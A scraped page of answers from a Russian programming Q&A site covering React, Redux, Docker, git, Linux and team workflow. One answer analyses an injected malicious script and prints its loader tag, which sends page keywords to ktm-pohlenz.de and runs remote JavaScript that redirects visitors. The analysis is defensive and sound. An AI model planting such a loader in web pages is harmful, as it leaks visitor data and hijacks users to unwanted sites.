• Стоит ли переходить на React.PureComponent по-умолчанию?

    PQR
    @PQR
    React.PureComponent реализует метод shouldComponentUpdate таким образом, что он делает поверхностное сравнение props и state (не глубокое). Вот собственно код:
    https://github.com/facebook/react/blob/c8fbdac2271...
    shouldUpdate =
                !shallowEqual(prevProps, nextProps) ||
                !shallowEqual(inst.state, nextState);


    Что такое shallowEqual? Это по сути сравнение оператором === каждого элемента из prevProps с каждым элементом из nextProps. На всякий случай дам ссылку на реализацию для полного понимания: https://github.com/facebook/react/blob/6963ea4bfcd...

    В итоге всё зависит от структуры ваших props. Если в props вы передаёте объекты которые иногда мутируются, т.е. по ссылке они равны ===, но внутри какие-то данные поменялись (что само по себе выглядит странно в экосистеме redux + reselect, но вполне возможно технически), тогда использование PureComponent вам всё поломает, т.к. на экране какие-то компоненты перестанут перересовываться!

    Если же у вас всё по уму, данные которые передаются через props являются скалярными типами (string, int, float, bool) или immutable объектами, тогда смело используйте PureComponent - в некоторых случаях он поможет избавиться от лишних вызовов render.

    Важное замечание: PureComponent нужно использовать только для так называемых presentational components, т.е. для тех компонент, которые НЕ обёрнуты в вызов redux connect().

    Для container components (т.е. тех компонент, которые обёрнуты в redux connect()) нет смысла наследоваться от PureComponent, т.к. метод connect() оборачивает ваш компонент своей реализацией shouldComponentUpdate, которая также использует shallowEqual. Если вы по недосмотру унаследуете container component от PureComponent - ошибок не будет, но это не имеет никакого смыла, т.к. ваш код по сути будет дважды делать shallowEqual, а зачем делать лишнюю работу?

    Подводя итог, рецепт такой:
    - presentational components наследуем от React.PureComponent
    - container components (которые обёрнуты в redux connect()) наследуем от старого доброго React.Component
    Ответ написан
    1 комментарий
  • Что делает этот вирус?

    27cm
    @27cm
    TODO: Написать статус
    1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
    2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
    3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

    Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:
    <script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>


    P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.
    Ответ написан
    6 комментариев
  • Кто как тестит ReactJs apps?

    ArthurGurinovich
    @ArthurGurinovich
    Посмотрите Jest. Оптимизирован для тестирования React
    Jest
    Ответ написан
    Комментировать
  • Почему (function($){…})(jQuery)?

    @GreatRash
    На тот случай если какой-то другой код переопределит переменную $, переопределить переменную jQuery типа сложнее (т.е. это можно сделать только намеренно).
    Ответ написан
    1 комментарий
  • Почему (function($){…})(jQuery)?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Конструкция (function($){…})(jQuery) изолирует пространство имён плагина. Это гарантия того, что плагин не затрёт чужую переменную, например.
    Ответ написан
    4 комментария
  • Где и как нужно сделать AJAX запрос в redux?

    maxfarseer
    @maxfarseer
    https://maxpfrontend.ru, обучаю реакту и компании
    Как было уже написано, да нужно использовать thunk-middleware, код которого кстати, очень простой!
    Суть в том, что нужно проверить: если ваш action возвращает функцию - значит прокинь в него dispatch и getState и жди что будет дальше, а если ваш action - простой объект (как и задумывалось) - сразу прокинь его дальше. Так и работают middleware - добавляя функционал и пробрасывая выполнение дальше.

    У меня есть подробное руководство по redux на русском, посмотрите здесь - https://www.gitbook.com/book/maxfarseer/redux-cour...

    Спасибо.
    Ответ написан
    Комментировать
  • Конкретные вопросы в выборе между Debian и Ubuntu?

    Denormalization
    @Denormalization
    "Не дает покоя фраза на оф вики Debian"
    Это не про вас. Это про сервера, там совершенно другое понятие "безопасности".

    Вообще без разницы что ставить. Под Ubuntu будет больше информации касаемо проблем с desktop вещами (а-ля Глючит видюха в игре ХХХ).

    И как дополнение: если учесть все вышесказанное, то какой по вашему вариант мне бы больше подошел?

    ArchLinux + тайловая wm. Полный контроль над системой + самые свежие обновления.
    Ответ написан
    1 комментарий
  • Какие цели и задачи у Docker в production?

    Мы используем Docker для установки Java приложений вместе с окружением. В скрипте сборки собирается контейнер из Docker-файла в него ставится все что нужно, запихиваются настройки и само приложение.
    Можно вызвать команду deployment-a, если есть настройки доступа к удаленным серверам.
    Да, деплоймент упрощается значительно.
    Но главная причина по которой мы используем Docker - это возможность зафиксировать окружение. В java многое для этого сделано, легко можно собрать приложение с заданным набором версий библиотек. Но вот отслеживать версии окружения (серверов приложений и т.д.) приходилось ручками или в документации. Что вело к возникновеню понятных проблем. С Docker-ом вся конфигурация описана в файле и лежит в Git и версионируется вместе с приложением.
    Ответ написан
    5 комментариев
  • Где и как нужно сделать AJAX запрос в redux?

    Для работы с promise Вам нужно использовать дополнительный middleware - promise middleware. Существует несколько реализаций - можете выбрать любой понравившийся. Я использую этот и относительно него буду далее писать.

    Как я понял, запрос пишется в action creator при помощи промиса


    Да, все так. В экшен-креаторе делаем запрос, возвращаем экшен с промисом. Далее promiseMiddleware подхватывает его и вместо одного экшена диспатчит 3 - действие началось, действие завершилось успешно, действие завершилось с ошибкой. Все это происходит в зависимости от того в какое состояние попал вышеупомянутый promise. Другими словами - "действие началось" диспатчится сразу; если запрос успешен - диспатчится "действие завершилось успешно".
    Соответственно в вашем редьюсере Вы подписываетесь на это три действия. Пример:

    // action creator
    import fetch from 'isomorphic-fetch';
    
    export default function getBook() {
      // Для запросов чаще всего используется  isomorphic-fetch, который возвращает promise
      const promise = fetch(url, options);
      return {
        types:  [ 'GET_BOOK-BEGIN', 'GET_BOOK-SUCCESS', 'GET_BOOK-FAILURE' ],
        promise,
      };
    }


    // reducer
    import {GET_BOOK} from '../actions/books';
    
    const booksReducer = (state = {}, action) => {
      switch (action.type) {
        case 'GET_BOOK-SUCCESS':
          // При успешном завершении у нас установлено свойство result с ответом сервера
          return action.result;
        case 'GET_BOOK-FAILURE':
          // При неудачном завершении у нас установлено свойство error с описанием ошибки
          doSomethingWithError(action.error); // <--- просто для примера
        default:
          return state;
      }
    };
    
    export default booksReducer;


    UPD1 К слову: у редакса есть отличный пример, где все это можно в живую посмотреть - https://github.com/rackt/redux/tree/master/example...
    Ответ написан
    6 комментариев
  • React.js: как из одного модуля передать данные в другой?

    ajaxtelamonid
    @ajaxtelamonid
    Laravel
    Мне кажется, вариант вполне нормальный. И вот: habrahabr.ru/post/266559
    Ответ написан
    1 комментарий
  • Git: объясните «на пальцах» разницу между rebase и cherry-pick?

    Все красиво объяснил Nkly777, только в блоке PS merge с rebase перепутаны.
    Добавлю картинок.

    git rebase devel - собачка на молнии - "сшивает" коммиты по дате их создания
    (ветка devel "растворяется" в основной ветке)
    518b8dbce1cd4f96b30de9782ae38fcd.png
    git merge devel - пожарная лестница, все коммиты ветки devel крепятся в конец, образуется пересечение
    (devel остается отдельной веткой, к которой можно вернуться)
    1ba8186d879d46ff85ea7c1e192328e2.png
    git chery-pick idea - забрать коммиты из ветки idea
    2717e3091f644ef2954aa2de4514f446.png
    Ответ написан
    2 комментария
  • Как не волноваться на собеседовании?

    k12th
    @k12th
    console.log(`You're pulling my leg, right?`);
    Ходить на «тренировочные» собеседования раз в полгода, чтобы это не казалось чем-то из ряда вон выходящим.
    Ответ написан
    3 комментария
  • Где рисуют графику, геймдизайнеры?

    GavriKos
    @GavriKos Куратор тега Разработка игр
    Сначала научитесь программировать, потом идите работать в какую то контору которая игры делает, и все поймете.

    Если вы хотите мутить свой стартап, делающий игры, и при этом ни разу не видели от начала до конца процесса создания игры - то этот стартап обречен на неудачу.

    Плюс ответы можете гуглить на gamedev.ru
    Ответ написан
    Комментировать
  • Какой ноутбук для программирования (в основном планирую front-end) выбрать?

    @archelon
    Имхо, при выборе ноутбука для кодинга, единственные важные критерии — это клавиатура и экран.
    Ответ написан
    4 комментария
  • Как организовывают взаимодействие frontend-разработчика, UX-специалиста и дизайнера при разработке веб-приложений?

    p1xel
    @p1xel
    UX-спасатель
    Расскажу как это работает у меня и какие видел реализации.

    Вариант уно
    • Фронтэндеры работают на Винде и Маке. Хотя сейчас потихоньку всех переводят их на Мак т. к. дизайнеры переходят с Фотошопа на Скетч.
    • Дизайнеры работают в ФШ и Скетче. Но все больше переползают на скетч.
    • Проектировщики работают на Винде и Маке. Делают прототипы в Акшуре. На выходе интерактивных html-прототип, который работает везде.
    • Бэкэндеры работают на чем хотят. Большинство на Линкусе ибо работают уже с готовой версткой.

    Примерный процесс:
    1. Проектировщики делают скетчи, фигачат прототипы, продумывают функциональность и логику работы приложения. Затем интерактивный прототип презентуется перед всей командой (в дизайне ведь все разбираются). На этом этапе вся команда смотрит, чтобы не было принципиальных косяков и всё было реализуемо.
    2. Макет передается дизайнеру. Совместно с проектировщиком они делают дизайн. Роль проектировщика — авторский надзор за реализацией его идей. Т. е. со стороны UX все конечные решения за проектировщиком, со стороны визуала все конечные решения за дизайнером.
    3. Готовый дизайн передается фронтэндерам. Дизайнер следит, чтобы всё было ОК со стороны визуала.
    4. Верстка передается бэкэнду. Дизайнер следит, чтобы все было хорошо со стороны визуала. Проектировщик следит, чтобы все работало корректно со стороны UX.

    Вариант дуо
    Здесь небольшие изменения, когда есть аналитик (исследует пользователей и проводит юзабилити-тесты), который доносит дизайнеру интерфейсов набор требований. Дизайнер фигачит скетчи, делает дизайн и заливает его на Инвижн, чтобы добавить интерактива. В этом случае дизайнер одновременно и проектирует, и рисует.

    Далее все по схеме описанной выше.
    Ответ написан
    Комментировать
  • Друзья, есть ли какие задачи для практики по JavaScript?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Реализуйте unit-of-work, identity map и шаблон репозиторий на JS. Эдакую абстракцию позволяющую выделить persistence layer.

    Других идей под чистый JS нет. Все остальное будет хоть как-то связано именно с DOM и т.д.
    Ответ написан
    Комментировать
  • Как правильно использовать коллекции в Backbone?

    aen
    @aen
    Keep calm and 'use strict';
    Модель и коллекция это в первую очередь абстракции над данными. Смысл этих абстракций в удобстве манипулирования данными. Вы данными манипулируете? Нет. Просто рендерите массив. Потому в данном случае можно обойтись моделью. Но если вам нужно работать с массивом не как с единичной сущностью, а как с набором сущностей, то вам нужно брать коллекцию.
    Ответ написан
    Комментировать
  • Как сделать, чтобы при наведении на картинку проигрывался один из 4 звуков?

    вот пример на jQuery и jPlayer:
    jsfiddle.net/9avkgtgm
    Ответ написан
    Комментировать